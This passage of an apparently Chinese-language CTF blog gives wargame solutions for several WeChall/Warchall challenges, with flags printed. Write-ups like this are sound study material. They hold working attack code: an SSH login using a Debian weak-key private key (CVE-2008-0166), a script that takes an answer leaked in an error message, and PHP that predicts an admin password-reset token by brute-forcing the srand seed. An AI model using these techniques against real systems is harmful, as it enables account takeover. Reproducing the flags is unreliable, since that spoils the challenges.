MOVE_RESP[TOWER[s] + TOWER[d]] for s, d in moves
)
sha = hashlib.sha512(solution.encode()).hexdigest()
print(sha)

输出的 SHA-512 即为答案。

Step 4: 提交

1
$ curl "https://www.wechall.net/challenge/Z/hanoi/index.php?solution=<sha512>"

服务器返回 "Correct!" 即通过。

注意: 该 hash 是确定性的(固定响应表 + 最优路径 = 固定 result),所以可以直接用提交的方式跳过 applet。如服务器已有提交记录,会提示 "Your answer is correct but you have already solved this challenge."

feb3a1f6e5e259f381f42a4e72aceaea204403fab7eec9a2d3d0bcff076a647be88f6f6caeeb1b6295aabba9807f1a2260b466f9f0512498fb50300703eb2552

Challenge

Warchall level8:Z 睡着了,SSH key 暴露在 /home/level/08_sshz/backups/。目标是找到对应私钥,以 level08 登录。

Solution

这题利用 Debian OpenSSL 弱密钥漏洞(2008 年 CVE-2008-0166)。Debian 的 OpenSSL 包因注释掉 md_rand.c 中两行 MD_Update(&m,buf,j),导致 PRNG 仅以进程 PID 作为随机种子,可能的密钥只有 32768 种。

Step 1: 获取 public key

1
2
3
# 从 Warchall 服务器读取公钥
$ cat /home/level/08_sshz/backups/authorized_keys.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLbM20VLy+Bf7fjHk...

Step 2: 计算 MD5 fingerprint

1
2
$ ssh-keygen -l -E md5 -f authorized_keys.backup
2048 MD5:2b:cd:07:a7:01:e9:4a:04:74:d7:7e:e4:d6:d0:f8:06 ...

Step 3: 在 Debian weak key 集中匹配

下载已知弱密钥集合。原 ANSSI-FR 仓库已被删除,可使用 g0tmi1k 维护的镜像:

1
2
3
4
5
6
7
8
9
10
# 克隆镜像(如已有关键集合可跳过)
$ git clone https://github.com/g0tmi1k/debian-ssh
$ cd debian-ssh

# 解压 RSA 2048 位 SSH 密钥
$ tar -xjf common_keys/debian_ssh_rsa_2048_x86.tar.bz2

# 去掉冒号搜索指纹文件名
$ find rsa/ -name '*2bcd07a701e94a0474d77ee4d6d0f806*'
rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669

指纹对应 PID 23669 的 RSA 2048 位密钥。

说明: 该 key set 的文件名格式为 <fingerprint_hex>-<PID>,因此直接 find 匹配指纹(去除冒号)即可定位,无需逐 key 计算。

Step 4: SSH 登录

1
2
$ ssh -i rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669 \
level08@warchall.net -p 19198

注意:用户是 level08,不是 z;使用 -i 指定密钥文件。端口 19198 是 Warchall SSH 服务端口。

PrivateKeysAreGold

Challenge

题目要求将一个 170+ 位的大整数分解质因数,限时 6 秒。

Solution

直接分解这么大的数是不现实的。但题目有一个关键缺陷:提交错误答案后,服务器会在错误信息中泄露正确的答案,并且挑战数字保持不变。

所以解法分三步:

  1. 请求一个新数字
  2. 提交任意错误答案(如 solution=1)→ 服务器返回 Correct would have been "xxx"
  3. 用泄露的正确答案重新提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests, re

cookies = {'WC': 'YOUR_WECHALL_COOKIE'}
base = 'https://www.wechall.net/en/challenge/impossible/index.php'

# Step 1: request new number
r = requests.get(f'{base}?request=new_number', cookies=cookies)
csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: submit wrong answer to leak the correct one
r2 = requests.post(base, data={
'solution': '1',
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)
correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)

# Step 3: submit the correct answer
r3 = requests.post(base, data={
'solution': correct,
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)

print("Solved!" if 'correct' in r3.text.lower() else "Failed")

Challenge

题名 "Pimitive Encryption" 是 "Pi" + "Primitive" 的谐音。一个用 One-Time Pad XOR 加密的文件,提示 key 是 "logical" 的。

加密文件 116921 字节,URL 上直接下载 pimitive.zip

Solution

Step 1: 确认 key = π 的十进制字符串

已知加密文件应为 ZIP(magic PK\x03\x04)。前 4 字节 XOR:

1
2
3
CIPHER:  63 DF 65 CF
ZIP: 50 4B 03 04
KEY: 33 2E 31 34 → "3.14"

key 是圆周率 π 的十进制展开字符串 "3.1415926535...",一次性 XOR 整个文件(不循环重复)。

Step 2: 生成 116921 位 π

方法 A(推荐):用 pi.delivery API 分块拉取

1
2
3
4
5
6
7
8
9
import requests

digits = "3."
start = 1 # after decimal point
while len(digits) < 116921:
n = min(1000, 116921 - len(digits))
r = requests.get(f"https://api.pi.delivery/v1/pi?start={start}&numberOfDigits={n}&radix=10")
digits += r.json()["content"]
start += n

方法 B:Chudnovsky 算法 + Python decimal 高精度

1
2
3
4
5
from decimal import Decimal, getcontext

getcontext().prec = 120000
# Chudnovsky series: π = 426880√10005 / Σ(k=0..∞) (6k)!(13591409+545140134k)/(3k)!(k!)^3(-640320)^(3k)
# 迭代约 8300 次收敛到 120K 位

Step 3: XOR 解密

1
2
3
key = pi_str.encode()[:len(enc)]
dec = bytes(e ^ k for e, k in zip(enc, key))
# → 输出为有效 ZIP 文件,含 netforce33.bmp

Step 4: 解压提取 BMP

1280×384 的 BMP 图片,内容为 "OneTimePad" 字样下方一行字。Tesseract OCR 或肉眼辨认:

1
Actually the password is: Botterbloom
Botterbloom

Challenge

题目不是考常见服务端口,而是要求 WeChall 服务器看到你的客户端源端口为 42

题面里的 "remote-port" 指的是服务器视角下的 remote port,也就是你的本地源端口。

Solution

用能绑定本地源端口的 HTTP 客户端访问挑战页:

1
2
3
$ curl --local-port 42 \
-b 'WC=YOUR_WECHALL_COOKIE' \
'http://www.wechall.net/en/challenge/training/net/ports/index.php'

Linux 默认低于 1024 的端口是 privileged port。普通用户绑定 42 会失败:

1
curl: (45) bind failed with errno 13: Permission denied

可选方案:

  • sudo curl --local-port 42(需要 sudo 权限)
  • 给 curl 加 CAP_NET_BIND_SERVICEsetcap cap_net_bind_service=+ep $(which curl)
  • 从一台有 root 权限且直连互联网的服务器发起请求

本题没有固定密码——连接源端口正确即自动通过。WeChall 服务器检测 TCP 连接的 source port,无需提交任何答案表单。

Challenge

Find the sentence hidden in me or I'll have to destroy you.

一张 256x256 的纯红色图像 op.png,只有 R 通道有数据(G=B=0)。

Solution

图像的 R 通道值范围 0-253,共 242 个唯一值。直接读取像素值无法得到可读文本(多数值 > 127,超出 ASCII 可打印范围)。

关键思路:素数筛选。只保留 R 通道值为素数的像素,其余设为白色。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from PIL import Image
from math import sqrt

def is_prime(n):
if n < 2: return False
if n == 2: return True
if n % 2 == 0: return False
for i in range(3, int(sqrt(n)) + 1, 2):
if n % i == 0: return False
return True

img = Image.open('op.png')
w, h = img.size
result = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
if is_prime(r):
result.putpixel((x, y), (0, 0, 0))
else:
result.putpixel((x, y), (255, 255, 255))

result.save('simply_red_primes.png')

需要人工读取图像,得到文本。

PrimalOffset

Challenge

提交 admin@wechall.net 的 password reset token。Token 绑定 session,源码公开。

Solution

漏洞分析

源码(?highlight=christmas)暴露了 token 生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 每次请求(GET 或 POST)都重新播种
srand(time() + rand(0, 100));
$csrf = ttr_random(32); // 页面中 <input name="csrf">

// POST reset 时额外生成 token
$token = ttr_random(16); // 即要预测的目标

function ttr_random($len, $alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
$alphalen = strlen($alpha) - 1;
$key = '';
for ($i = 0; $i < $len; $i++) {
$key .= $alpha[rand(0, $alphalen)];
}
return $key;
}

种子 = time() + rand(0, 100),仅 101 种可能。CSRF token(32 字符)是种子后的首次 32 次 rand() 输出,直接暴露在页面中。

页面中的两个 token

挑战页面包含两个 hidden input:

  • csrf(32 字符)— 位于 password reset form 内

    1
    2
    3
    <tr><td colspan="3">
    <input type="hidden" name="csrf" value="5faruVeXQSpw78BPrkYpJqPqmmJfKXdI" />
    </td>
    右键 → 查看页面源代码,搜索 name="csrf" 即可找到。

  • gwf3_csrf(8 字符)— 位于 solution form 内,用于提交答案

    1
    <input type="hidden" name="gwf3_csrf" value="eIt0IMws" />

破解流程

关键:用来破解读取的不是 GET 页面的 CSRF,而是 POST 请求返回页面的 CSRF。因为每次请求 PHP 都重新 srand(time()+rand(0,100)),token 和页面 CSRF 在同一个种子下连续生成(32 + 16 次 rand 调用)。必须先 POST reset 触发 token 生成,再用响应页面中的新 CSRF 推导同一种子下的 token。

Step 1 — GET 页面,提取 CSRF 和 gwf3_csrf

1
2
3
4
curl -sk --max-time 15 -D /tmp/ttr_headers.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/time_to_reset/' \
| grep -oP 'name="csrf"\s*value="\K[^"]+'

输出:

1
lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq

用同样的方式提取 gwf3_csrf

1
grep -oP 'name="gwf3_csrf"\s*value="\K[^"]+'

Step 2 — POST password reset,触发 token 生成

1
2
3
4
5
6
curl -sk --max-time 15 -D /tmp/ttr_headers2.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'email=admin@wechall.net' \
--data-urlencode 'reset=Request a Password reset' \
--data-urlencode 'csrf=lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq' \
'https://www.wechall.net/en/challenge/time_to_reset/'

响应中会包含 msg_mail_sent 提示,以及一个全新csrf(同一请求中生成的):

1
<input type="hidden" name="csrf" value="7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM" />

Step 3 — 从响应头获取服务器时间

1
2
grep -i '^date:' /tmp/ttr_headers2.txt
# Date: Sat, 13 Jun 2026 12:13:31 GMT

转换为 epoch:1781352811

Step 4 — PHP 离线暴力搜索种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$csrf = "7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM"; // 从 POST 响应提取
$server_time = 1781352811; // 从 Date header 提取
$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$alphalen = strlen($alpha) - 1;

for ($t = $server_time - 3; $t <= $server_time + 3; $t++) {
for ($offset = 0; $offset <= 100; $offset++) {
$seed = $t + $offset;
srand($seed);

$generated = '';
for ($i = 0; $i < 32; $i++) {
$generated .= $alpha[rand(0, $alphalen)];
}

if ($generated === $csrf) {
// 找到种子!预测 token(接下来 16 次 rand)
$token = '';
for ($i = 0; $i < 16; $i++) {
$token .= $alpha[rand(0, $alphalen)];
}
echo "SEED=$seed\nTOKEN=$token\n";
exit(0);
}
}
}
echo "NOT_FOUND\n";

执行:

1
2
3
php brute_force.php
# SEED=1781352853
# TOKEN=XfmLddQ4n1NuBpUD

搜索空间仅 101(偏移量)× 7(±3 秒)= 707 种组合,毫秒级出结果。

Step 5 — 提交预测的 token

1
2
3
4
5
6
curl -sk --max-time 15 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'answer=XfmLddQ4n1NuBpUD' \
--data-urlencode 'solve=Submit' \
--data-urlencode 'gwf3_csrf=eIt0IMws' \
'https://www.wechall.net/en/challenge/time_to_reset/'
XfmLddQ4n1NuBpUD
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE